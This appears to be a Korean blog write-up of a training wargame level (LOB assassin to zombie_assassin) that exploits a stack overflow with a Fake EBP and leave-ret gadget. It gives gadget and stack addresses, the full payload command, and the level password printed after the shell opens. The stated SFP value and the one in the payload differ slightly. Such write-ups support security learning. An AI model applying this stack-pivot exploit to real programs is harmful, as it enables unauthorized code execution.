-->

[LOB] level16, assassin -> zombie_assassin 풀이

LOB, ssassin -> zombie_assassin 문제 확인

저번 문제에서 달라진 점은 strcpy가 아닌, strncpy를 사용했다는 점이다. 따라서 저번문제처럼 RTL Chaning은 RET 영역 뒤까지 덮어야하기 때문에 사용하지 못한다. 힌트에 나와있는대로 FEBP를 사용해보자! 

 

 


FEBP에 대한 내용은 아래 포스팅에 따로 정리했고 여기서 구성한 페이로드를 그대로 본 문제에 적용해보도록 한다.

 


FEBP(Fake EBP) 공격이란?

 

FEBP(Fake EBP) 공격이란?

LOB 풀이를 옮기다가 FEBP를 사용하는 문제가 나와서 여기에 정리한다. EBP를 조작해 원하는 코드가 실행되게끔 하면 되기 때문에 한가지 방식이 정해져있지는 않은 것 같다. /* 틀린 부분 지적 및 댓글 환영합니..

liveyourit.tistory.com

 

 

LOB, ssassin -> zombie_assassin 풀이

buffer에 &(shellcode)를, SFP에 &(buffer)-4를, RET에 &(leave-ret gadget)을 넣을 것이기 때문에 buffer 시작 주소와 argv[2] 주소부터 구한다.

  • buffer : &(shellcode)
  • SFP : &(buffer)-4
  • RET : &(leave-ret gadget)

 

argv[2]에 nop+shellcode 를 넣고 생긴 core 파일을 확인한다. 참고로 세그폴트가 발생하는데 core 파일이 생기지 않는다면 < ulimit -c unlimited > 를 입력해주면 된다.

 


[assassin@localhost /tmp]$ ./zombie_assassin

`python -c 'print "A"*44+"B"*4'` `python -c 'print "\x90"*1000+"[shellcode]"'`

 

 

 

&(buffer)는 0xbffff670 이고 -4 한 값은 0xbffff66c 이다. (argv[1]의 주소값과 헷갈리면 안된다 ^^;)

 

 

 

&(shellcode) 는 0xbffff834 이다. 

 

 

 

마지막으로 objdump를 사용해 leave-ret 가젯의 주소 0x08048311 을 구해준다.

 

 

 

정리하면 아래와 같다.

 

  • &(shellcode) : 0xbffff834
  • &(buffer)-4 : 0xbffff66c
  • &(leave-ret) : 0x08048311

 

 

LOB, ssassin -> zombie_assassin 익스플로잇

따라서 페이로드는 아래와 같이 구성할 수 있다.

 


[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "\x34\xf8\xff\xbf"*10

+"\x70\xf6\xff\xbf"+"\x11\x83\x04\x08"'` `python -c 'print "\x90"*1000+"[shellcode]"'`
4󽵸ÿ¿4󽵸ÿ¿4󽵸ÿ¿4󽵸ÿ¿4󽵸ÿ¿p󿽑 
bash$ my-pass
euid = 516
no place to hide

 

 

댓글

Designed by JB FACTORY